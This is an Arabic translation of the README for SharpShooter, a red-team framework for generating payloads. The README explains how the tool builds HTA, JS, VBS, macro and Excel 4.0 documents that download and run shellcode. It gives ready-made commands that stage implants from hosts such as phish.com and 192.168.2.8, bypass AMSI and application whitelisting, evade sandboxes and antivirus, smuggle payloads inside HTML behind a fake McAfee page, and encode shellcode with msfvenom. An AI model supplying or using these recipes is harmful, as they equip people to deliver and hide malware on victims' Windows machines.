   _____ __                    _____ __                __           
  / ___// /_  ____ __________ / ___// /_  ____  ____  / /____  _____
  \__ \/ __ \/ __ `/ ___/ __ \\__ \/ __ \/ __ \/ __ \/ __/ _ \/ ___/
 ___/ / / / / /_/ / /  / /_/ /__/ / / / / /_/ / /_/ / /_/  __/ /    
/____/_/ /_/\__,_/_/  / .___/____/_/ /_/\____/\____/\__/\___/_/     
                     /_/                                            

الوصف
=====

SharpShooter هو إطار عمل لإنشاء الحمولات (payloads) لاسترجاع وتنفيذ الشيفرة المصدرية العشوائية بلغة C#.
SharpShooter قادر على إنشاء حمولات بمجموعة متنوعة من التنسيقات، بما في ذلك HTA و JS و VBS و WSF. يستخدم أداة James Forshaw [DotNetToJavaScript](https://github.com/tyranid/DotNetToJScript) لاستدعاء دوال من الكائن المسلسل (serialised object) الخاص بـ SharpShooter. يمكن استرجاع الحمولات باستخدام توصيل الويب أو DNS أو كليهما؛ SharpShooter متوافق مع مشروع MDSec ActiveBreach PowerDNS. بدلاً من ذلك، يمكن أيضًا إنشاء حمولات غير مرحلية (stageless) تحتوي على تنفيذ shellcode مضمّن لنفس تنسيقات البرمجة النصية.

حمولات SharpShooter مشفرة باستخدام RC4 بمفتاح عشوائي لتوفير بعض التهرب المتواضع من مضادات الفيروسات، ويتضمن المشروع القدرة على دمج كشف بيئة الاختبار (sandbox detection) وتكييف البيئة (environment keying) للمساعدة في التهرب من الكشف.

يتضمن SharpShooter قالب C# مُعرّف مسبقًا لتنفيذ shellcode مع الحمولات المرحلية وغير المرحلية، ولكن يمكن تجميع أي شيفرة C# وتنفيذها في الذاكرة باستخدام الانعكاس (reflection)، بفضل موفر CodeDom الخاص بـ C#.

أخيرًا، يوفر SharpShooter القدرة على تضمين الحمولة داخل ملف HTML باستخدام تقنية [تهريب HTML من Demiguise](https://github.com/nccgroup/demiguise).

يستهدف SharpShooter الإصدارات v2 و v3 و v4 من إطار عمل .NET والتي ستتواجد على معظم أجهزة ويندوز للمستخدم النهائي.

قدم الإصدار 1.0 من SharpShooter عدة مفاهيم جديدة، بما في ذلك الترحيل (staging) عبر COM، وتنفيذ Squiblydoo و Squiblytwo، بالإضافة إلى تنفيذ XSL. لتحقيق هذه الوظيفة الجديدة، تمت إضافة عدة أعلام جديدة؛ --com و --awl و --awlurl.

أضاف الإصدار 2.0 من SharpShooter وحدة تجاوز AMSI، بالإضافة إلى دعم إنشاء مستندات VBA و Excel 4 ممكّنة بالماكرو.

يمكن العثور على مزيد من المعلومات في [منشور مدونة MDSec](https://www.mdsec.co.uk/2018/03/payload-generation-using-sharpshooter/).

الاستخدام - وضع سطر الأوامر:
======

SharpShooter قابل للتخصيص بدرجة كبيرة، حيث يدعم عددًا من أنواع الحمولات المختلفة، وتهرب بيئات الاختبار، وطرق التوصيل، وأنواع المخرجات.

سيؤدي تشغيل SharpShooter مع الوسيط --help إلى إخراج ما يلي:

usage: SharpShooter.py [-h] [--stageless] [--dotnetver ] [--com ] [--awl ] [--awlurl ] [--payload ] [--sandbox ] [--amsi ] [--delivery ] [--rawscfile ] [--shellcode] [--scfile ] [--refs ] [--namespace ] [--entrypoint ] [--web ] [--dns ] [--output ] [--smuggle] [--template ]

optional arguments: -h, --help show this help message and exit --stageless Create a stageless payload --dotnetver Target .NET Version: 2 or 4 --com COM Staging Technique: outlook, shellbrowserwin, wmi, wscript, xslremote --awl Application Whitelist Bypass Technique: wmic, regsvr32 --awlurl URL to retrieve XSL/SCT payload --payload Payload type: hta, js, jse, vba, vbe, vbs, wsf --sandbox Anti-sandbox techniques: [1] Key to Domain (e.g. 1=CONTOSO) [2] Ensure Domain Joined [3] Check for Sandbox Artifacts [4] Check for Bad MACs [5] Check for Debugging --amsi Use amsi bypass technique: amsienable --delivery Delivery method: web, dns, both --rawscfile Path to raw shellcode file for stageless payloads --shellcode Use built in shellcode execution --scfile Path to shellcode file as CSharp byte array --refs References required to compile custom CSharp, e.g. mscorlib.dll,System.Windows.Forms.dll --namespace Namespace for custom CSharp, e.g. Foo.bar --entrypoint Method to execute, e.g. Main --web URI for web delivery --dns Domain for DNS delivery --output Name of output file (e.g. maldoc) --smuggle Smuggle file inside HTML --template Name of template file (e.g. mcafee)


فيما يلي أمثلة على بعض حالات الاستخدام:

### JavaScript غير مرحلي ###

SharpShooter.py --stageless --dotnetver 4 --payload js --output foo --rawscfile ./raw.txt --sandbox 1=contoso,2,3


إنشاء حمولة JavaScript غير مرحلية تستهدف الإصدار 4 من إطار عمل .NET. سينشئ هذا المثال حمولة باسم foo.js في مجلد الإخراج. تُقرأ الشيفرة (shellcode) من ملف ./raw.txt.
تحاول الحمولة فرض بعض التهرب من بيئة الاختبار عن طريق ربط التنفيذ بمجال CONTOSO، والتحقق من العناصر المعروفة لبيئة الاختبار/الجهاز الافتراضي.

### HTA غير مرحلي ###

SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./raw.txt --sandbox 4 --smuggle --template mcafee


إنشاء حمولة HTA غير مرحلية تستهدف الإصدار 2/3 من إطار عمل .NET. سينشئ هذا المثال حمولة باسم foo.hta في مجلد الإخراج. تُقرأ الشيفرة (shellcode) من ملف ./raw.txt.
تحاول الحمولة فرض بعض التهرب من بيئة الاختبار عن طريق التحقق من عناوين MAC الافتراضية المعروفة. سيتم أيضًا إنشاء حمولة تهريب HTML باسم foo.html في مجلد الإخراج. ستستخدم هذه الحمولة قالب فحص McAfee مثالياً.

### VBS مرحلي ###

SharpShooter.py --payload vbs --delivery both --output foo --web http://www.foo.bar/shellcode.payload --dns bar.foo --shellcode --scfile ./csharpsc.txt --sandbox 1=contoso --smuggle --template mcafee --dotnetver 4


ينشئ هذا المثال حمولة VBS مرحلية تقوم بالتوصيل عبر كل من الويب و DNS. ستحاول الحمولة استرجاع ملف C# مضغوط (GZipped) ينفذ الشيفرة (shellcode) المقدمة كمصفوفة بايت C# في ملف csharpsc.txt. ملف C# المستخدم هو قالب تنفيذ shellcode المدمج في SharpShooter. يتم إنشاء الحمولة في مجلد الإخراج باسم foo.payload ويجب استضافتها على http://www.foo.bar/shellcode.payload. يجب أيضًا استضافة نفس الملف على المجال bar.foo باستخدام PowerDNS لتقديمه. سيحاول ملف VBS ربط التنفيذ بمجال CONTOSO وسيتم تضمينه في ملف HTML باستخدام تقنية تهريب HTML مع قالب فحص McAfee. يتم تخزين الحمولة الناتجة في مجلد الإخراج باسم foo.html.

### C# مخصص داخل VBS ###

SharpShooter.py --dotnetver 2 --payload js --sandbox 2,3,4,5 --delivery web --refs mscorlib.dll,System.Windows.Forms.dll --namespace MDSec.SharpShooter --entrypoint Main --web http://www.phish.com/implant.payload --output malicious --smuggle --template mcafee


يوضح هذا المثال كيفية إنشاء حمولة JS مرحلية تقوم بالتوصيل عبر الويب، واسترجاع حمولة من http://www.phish.com/implant.payload. ستحاول الحمولة المُنشأة التهرب من بيئة الاختبار، ومحاولة تجميع الحمولة المسترجعة التي تتطلب ملفات mscorlib.dll و System.Windows.Forms.dll كمراجع DLL. سيتم تنفيذ الطريقة Main في مساحة الأسماء MDSec.SharpShooter عند نجاح التجميع.

### إنشاء VBS من نوع Squiblytwo ###

SharpShooter.py --stageless --dotnetver 2 --payload vbs --output foo --rawscfile ./x86payload.bin --smuggle --template mcafee --com outlook --awlurl http://192.168.2.8:8080/foo.xsl


ينشئ هذا المثال ملف VBS مهرب (smuggled) باستخدام مُرحل (stager) COM يستخدم طريقة Outlook.CreateObject() COM كأساس لتنفيذ wmic.exe لتنفيذ ورقة أنماط مستضافة. لا يتم استخدام الوسيط --awl افتراضيًا، بل يُستخدم wmic.

### إنشاء HTA من نوع XSL ###

SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./x86payload.bin --smuggle --template mcafee --com xslremote --awlurl http://192.168.2.8:8080/foo.xsl


ينشئ هذا المثال ملف HTA مهرب يستخدم واجهة COM الخاصة بـ XMLDOM لاسترجاع وتنفيذ ورقة أنماط مستضافة.

### إنشاء ماكرو VBA ###

SharpShooter.py --stageless --dotnetver 2 --payload macro --output foo --rawscfile ./x86payload.bin --com xslremote --awlurl http://192.168.2.8:8080/foo.xsl


ينشئ هذا المثال ملف ماكرو VBA يستخدم واجهة COM الخاصة بـ XMLDOM لاسترجاع وتنفيذ ورقة أنماط مستضافة.

### إنشاء مستند Excel 4.0 SLK ممكّن بالماكرو ###

SharpShooter.py --payload slk --output foo --rawscfile ~./x86payload.bin --smuggle --template mcafee


ينشئ هذا المثال ملف Excel 4.0 SLK ينفذ الشيفرة (shellcode) المقدمة ويغلفها في HTML.
لا يمكن أن تحتوي الشيفرة (shellcode) على بايتات صفرية، تلميح:

msfvenom -p generic/custom PAYLOADFILE=./payload.bin -a x86 --platform windows -e x86/shikata_ga_nai -f raw -o shellcode-encoded.bin -b '\x00'


المؤلف والإشادات
==================
المؤلف: Dominic Chell، MDSec ActiveBreach [@domchell](https://twitter.com/domchell) و [@mdseclabs](https://twitter.com/mdseclabs)

الإشادات:
- [@tiraniddo](https://twitter.com/tiraniddo): James Forshaw لـ DotNetToJScript
- [@Arno0x0x](https://twitter.com/Arno0x0x): لـ EmbedInHTML
- [@buffaloverflow](https://twitter.com/buffaloverflow): Rich Warren لـ Demiguise
- [@arvanaghi](https://twitter.com/arvanaghi) و [@ChrisTruncer](https://twitter.com/ChrisTruncer): Brandon Arvanaghi و Chris Truncer لـ CheckPlease
- [@subTee](https://twitter.com/subtee): توثيق تقنيات Squiblydoo و Squiblytwo
- [@StanHacked](https://twitter.com/stanhacked): تقنية Excel 4.0 وأمثلة الشيفرة

الأكثر شعبية

SharpShooter